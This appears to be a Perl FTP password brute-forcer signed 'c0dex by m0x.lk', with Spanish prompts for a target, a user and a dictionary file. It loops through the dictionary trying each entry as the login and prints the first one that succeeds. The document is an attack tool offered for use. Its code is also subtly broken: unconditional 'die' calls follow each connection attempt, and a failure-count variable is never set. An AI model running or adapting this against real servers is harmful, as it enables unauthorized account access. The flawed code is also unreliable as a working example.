| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. | #!/usr/bin/perl use Net::FTP; # c0dex by m0x.lk # [email protected] # RE & HaSe # BrFTP .- system ("clear"); system ("cls"); system ("color 72"); print "C0dex by m0x.lk\n"; print "\n"; print "BrFTP .- RE & HaSe\n"; print "\n"; sleep 1; print "Target: "; $target=<STDIN>; print "\n\n"; print "User: "; $user=<STDIN>; print "\n\n"; print "Diccionario: "; $dict=<STDIN>; print "\n\n"; $counter=0; $times=0; print "Conectando $target\n"; print "\n"; $ftp = Net::FTP->new($target,Debug => 1); die "Imposible resolver $target\n"; print "\n"; open (D,"<$dict") or die "Diccionario no encontrado\n"; while(<D>) { $try = $_; chomp $try; $ftp->login($user,$try); $counter++; $tiempo++; if($ftp->ls(".")) { print "$user / $try \n"; last; } if($counter==$fallos) { print "\n\n"; $ftp->quit; print "Volviendo a conectar $target"; $ftp = Net::FTP->new($target,Debug => 1); die "Imposible conectar $target\n"; print "\n\n"; $counter=0; } } close(D); print "\n\n"; print "$tiempo Obtener pass"; print "\n\n"; print "c0dex by m0x.lk"; |